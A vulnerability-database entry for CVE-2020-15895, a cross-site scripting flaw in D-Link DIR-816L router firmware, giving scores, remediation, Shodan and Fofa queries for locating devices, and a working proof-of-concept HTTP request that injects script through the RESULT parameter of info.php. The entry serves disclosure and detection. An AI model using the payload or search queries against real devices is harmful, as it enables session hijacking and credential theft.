🔙 목록으로 돌아가기

CVE-2020-15895: D-Link DIR-816L 2.x - Cross-Site Scripting

TitleD-Link DIR-816L 2.x - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest firmware update provided by D-Link to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.41498
CVE IDCVE-2020-15895
CWE IDCWE-79
Shodan Queryhtml:"DIR-816L"http.html:"dir-816l"
Fofa Querybody="dir-816l"
Tags cve2020 cve dlink xss vuln

🔍 Vulnerability Description

D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.

🌐 HTTP Request

GET /info.php?RESULT=",msgArray);alert(document.domain);// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15895.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-15895.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A